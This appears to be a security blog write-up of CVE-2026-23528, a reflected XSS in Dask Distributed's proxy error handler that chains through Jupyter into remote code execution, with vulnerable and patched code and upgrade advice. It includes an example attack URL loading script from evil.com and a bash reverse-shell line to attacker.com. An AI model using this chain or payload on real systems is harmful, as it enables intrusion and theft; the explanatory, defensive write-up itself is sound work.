Feb 17, 2026·6 min read·4 visits
A Reflected XSS vulnerability in Dask Distributed's HTTP proxy allows attackers to inject malicious JavaScript via a crafted URL. When accessed by a victim with an active Jupyter session, this script can leverage Jupyter's API to execute arbitrary Python code on the server. Fixed in version 2026.1.0.
In the world of data science, Dask is the heavy lifter, scaling Python code across clusters of machines. Usually, we worry about complex deserialization bugs or authentication bypasses in these distributed systems. But CVE-2026-23528 is a reminder that the classics never die. This is a story about a humble Reflected Cross-Site Scripting (XSS) vulnerability in the Dask dashboard that, when combined with the omnipresent Jupyter Lab, escalates into full-blown Remote Code Execution (RCE). It turns out, if you handle error messages carelessly, you might just hand over the keys to your compute cluster.
Dask is the darling of the Python data science ecosystem. It allows developers to scale libraries like pandas and NumPy across multiple cores or even massive clusters. To manage this orchestration, Dask provides a distributed scheduler and a handy web dashboard to visualize task progress. It's a tool built for speed and efficiency, often running deep within secured VPCs or behind corporate VPNs.
But here's the kicker: Data scientists love Jupyter. They live in it. Consequently, Dask dashboards are frequently exposed through Jupyter using jupyter-server-proxy. This proxy allows the Dask dashboard (running on a random port) to be accessible via a subpath of the main Jupyter interface (e.g., jupyter.lab/proxy/8787).
This architecture creates a fascinating bridge. We have the Dask dashboard, which is often developed with a "trust the network" mindset, sitting on the same origin as Jupyter, which is essentially a web-based remote shell. CVE-2026-23528 exploits this proximity. It targets a component meant to help users—the HTTP proxy error handler—and weaponizes it to bridge the gap between a harmless link click and a total system compromise.
The vulnerability resides in distributed/http/proxy.py. This module is responsible for routing requests from the main scheduler to individual workers. It's a traffic cop. When you ask to see the status of a specific worker, the proxy checks if that worker actually exists in the scheduler's registry. If the worker is missing, the code needs to tell you about it.
Here is where the developers fell into a trap as old as the web itself: Reflecting untrusted input. When a user requests a worker that doesn't exist, the application constructs a 400 Bad Request error message. Crucially, it includes the name of the requested worker in that message. The code treated the worker's address (derived from the URL path) as a simple string, never expecting it to contain HTML tags or JavaScript.
Because the underlying web framework (Tornado) defaults to serving strings as text/html when using self.finish(), the browser interprets the error message as a webpage. If an attacker puts <script>alert('pwned')</script> in the URL where the worker address should be, the server dutifully replies: "Worker <script>alert('pwned')</script> does not exist." The browser executes the script, and suddenly, we aren't just looking at an error message anymore; we are running code in the victim's origin.
Let's look at the smoking gun. The vulnerable code in distributed/http/proxy.py was startlingly simple. It took the host and port from the URL, concatenated them, and shoved them into the response.
The Vulnerable Code:
async def http_get(self, port, host, proxied_path):
# ... check if worker exists ...
worker = f"{self.host}:{port}"
if not check_worker_dashboard_exits(self.scheduler, worker):
# VULNERABILITY: User input 'worker' is interpolated directly
msg = "Worker <%s> does not exist" % worker
self.set_status(400)
self.finish(msg) # Tornado renders this as HTML by default
returnIt's a textbook case of CWE-79. The fix, applied in commit ab72092a8a938923c2bb51a2cd14ca26614827fa, is equally textbook: Sanitize your outputs.
The Patched Code:
import html
async def http_get(self, port, host, proxied_path):
# ... check if worker exists ...
worker = f"{self.host}:{port}"
if not check_worker_dashboard_exits(self.scheduler, worker):
# FIX: Escape HTML characters before rendering
msg = f"Worker <{html.escape(worker)}> does not exist"
self.set_status(400)
self.finish(msg)
returnThe patch introduces html.escape(), which converts characters like < and > into their safe HTML entity equivalents (< and >). This ensures the browser renders the payload as harmless text rather than executing it as a script.
So we have XSS. Why do we care? XSS on a marketing site might steal a session cookie, but XSS on a Dask dashboard proxied through Jupyter is an extinction-level event for that server. Because the dashboard is served via jupyter-server-proxy, it shares the same Same-Origin Policy context as Jupyter Lab itself.
An attacker creates a URL that looks like this:
http://target-jupyter:8888/proxy/8787/proxy/1234/<script src="http://evil.com/pwn.js"></script>/status
When the victim (a data scientist authenticated to Jupyter) clicks this link:
1234:<script... is not a valid worker.pwn.js in the context of target-jupyter:8888.From JavaScript to Python RCE:
Since the script runs on the Jupyter origin, it can make authenticated AJAX requests to the Jupyter API. The attacker's JavaScript payload will:
/api/kernels to find a running Python kernel./api/kernels to start one.execute_request message containing Python code: import os; os.system('bash -i >& /dev/tcp/attacker.com/4444 0>&1').In seconds, a clicked link transforms into a reverse shell on the compute cluster.
The CVSS score of 5.3 is deceptively low here, primarily because it requires user interaction (the victim must click the link). However, in the context of targeted attacks against organizations using Dask and Jupyter, the severity is critical.
Successful exploitation grants the attacker the same privileges as the user running the Jupyter notebook. In many data science environments, this user has:
This isn't just about popping a calculator app; it's about exfiltrating proprietary algorithms and PII from what was assumed to be a secure internal tool.
If you are running dask or distributed versions prior to 2026.1.0, you are vulnerable. The primary remediation is to update immediately.
pip install --upgrade distributed
Beyond the patch, this vulnerability highlights a massive architectural risk: Hosting unverified applications on the same origin as sensitive tools.
Defense in Depth:
As always, the best fix is code that doesn't trust user input. But since we can't audit every line of every dependency, defense in depth is the only safety net.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
distributed Dask | < 2026.1.0 | 2026.1.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Cross-site Scripting) |
| CVSS v4.0 | 5.3 (Medium) |
| Attack Vector | Network (Reflected) |
| Impact | Remote Code Execution (via Chain) |
| Component | distributed/http/proxy.py |
| Exploit Maturity | Proof of Concept (PoC) |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')